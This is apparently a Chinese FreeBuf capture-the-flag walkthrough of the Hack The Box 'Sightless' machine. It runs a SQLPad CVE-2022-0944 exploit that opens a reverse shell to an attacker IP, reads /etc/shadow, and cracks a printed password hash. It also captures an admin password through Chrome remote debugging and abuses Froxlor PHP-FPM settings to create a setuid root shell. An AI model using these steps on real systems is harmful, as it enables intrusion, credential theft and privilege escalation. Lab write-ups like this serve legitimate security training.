freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Sightless SQLPad-RCE+shadow哈希破译+Chrome远程调试窃取密码+Forxlor-P...
2024-10-10 16:27:10
所属地 海外

信息收集

IP AddressOpening Ports
10.10.11.32TCP:21,22,80

$ nmap -p- 10.10.11.32 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=10/9%Time=67062BFA%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQLPad

# echo '10.10.11.32 sightless.htb'>>/etc/hosts

http://sightless.htb/

image-1.png

image-2.png

# echo '10.10.11.32 sqlpad.sightless.htb'>>/etc/hosts

http://sqlpad.sightless.htb/

image-3.png

https://github.com/shhrew/CVE-2022-0944

$ python3 main.py http://sqlpad.sightless.htb 10.10.16.10 10032

image-4.png

root(fack) -> michael

# cat /etc/shadow

image-5.png

$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/

$ hashcat -a 0 hash /usr/share/wordlists/rockyou.txt --force

image-6.png)

insaneclownposse

$ ssh michael@10.10.11.32

image-7.png

User.txt

75ce007325d8c9b8c70ab263b7b73da8

权限提升 - Chrome Remote Debugger && Forxlor-PHP_FPM

$ netstat -lnput

image-9.png

$ ssh michael@10.10.11.32 \ -L 8080:127.0.0.1:8080 \ -L 3306:127.0.0.1:3306 \ -L 60469:127.0.0.1:60469 \ -L 38871:127.0.0.1:38871 \ -L 35295:127.0.0.1:35295 \ -L 3000:127.0.0.1:3000 \ -L 33060:127.0.0.1:33060

image-10.png

通过linpeas枚举后,我们知道了是john用户启动了--remote-debugging-port模式

--remote-debugging-port 是一个命令行参数,它用于启动 Chrome 浏览器的远程调试模式。当 Chrome 浏览器以这种方式启动时,它会在指定的端口上监听调试器的连接,允许远程调试和控制浏览器会话。

image-11.png

wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb

$ google-chrom

chrome://inspect/#devices

image-20.png

username:admin password:ForlorfroxAdmin

image-12.png

image-21.png

点击查看,等待几秒即可通过Chrome 调试器截获到John输入的管理员密码

image-22.png

http://127.0.0.1:8080/admin_phpsettings.php?page=fpmdaemons&action=add

创建PHP-FPM版本,利用PHP-FPM执行命令

image-14.png

rev.sh:cp /bin/bash /tmp;chmod +s /tmp/bash
你可以把命令直接输入成:chmod 4755 /bin/bash

重启PHP-FPM

http://127.0.0.1:8080/admin_settings.php?page=overview&part=phpfpm

首先禁用,并且保存

image-16.png

再次启动保存

image-17.png

michael@sightless:/tmp$ ./bash -p

image-19.png

Root.txt

9047f8db692036cd19e6bbfbc92708fb

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录